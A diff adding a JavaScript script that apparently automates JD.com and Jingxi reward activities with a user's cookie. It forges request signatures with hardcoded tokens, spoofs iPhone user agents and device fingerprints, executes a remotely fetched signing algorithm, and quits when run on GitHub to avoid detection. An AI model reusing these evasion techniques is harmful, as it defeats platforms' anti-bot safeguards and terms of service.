{ + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`JxmcGetRequest API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +function getJxFactory() { + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetCommodityDetails API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskJxUrl(functionId, body = '') { + let url = ``; + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + + if (body) { + url = `https://m.jingxi.com/activeapi/${functionId}?${body}`; + url += `&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `https://m.jingxi.com/activeapi/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} + + +function GetJxBeanDetailData() { + return new Promise((resolve) => { + $.get(taskJxUrl("queryuserjingdoudetail","pagesize=10&type=16"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanDetailData请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function GetJxBeanInfo() { + return new Promise((resolve) => { + $.get(taskJxUrl("querybeanamount"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanInfo请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(data){ + if(data.errcode==0){ + $.xibeanCount=data.data.xibean; + if(!$.beanCount){ + $.beanCount=data.data.jingbean; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +async function jxbean() { + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + var JxYesterdayArr = [], + JxTodayArr = []; + var JxResponse = await GetJxBeanDetailData(); + if (JxResponse && JxResponse.ret == "0") { + var Jxdetail = JxResponse.detail; + if (Jxdetail && Jxdetail.length > 0) { + for (let item of Jxdetail) { + const date = item.createdate.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + JxTodayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + //昨日的 + JxYesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + } + + for (let item of JxYesterdayArr) { + if (Number(item.amount) > 0) { + $.inJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.OutJxBean += Number(item.amount); + } + } + for (let item of JxTodayArr) { + if (Number(item.amount) > 0) { + $.todayinJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutJxBean += Number(item.amount); + } + } + $.todayOutJxBean = -$.todayOutJxBean; + $.OutJxBean = -$.OutJxBean; + } + +} + + + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + + +function GetPigPetInfo() { + return new Promise(async resolve => { + const body = { + "shareId": "", + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskPetPigUrl('pigPetLogin', body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetPigPetInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultData.resultData.wished && data.resultData.resultData.wishAward) { + $.PigPet=`${data.resultData.resultData.wishAward.name}` + } + } else { + console.log(`GetPigPetInfo: 京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + + +function taskPetPigUrl(function_id, body) { + return { + url: `https://ms.jr.jd.com/gw/generic/uc/h5/m/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + 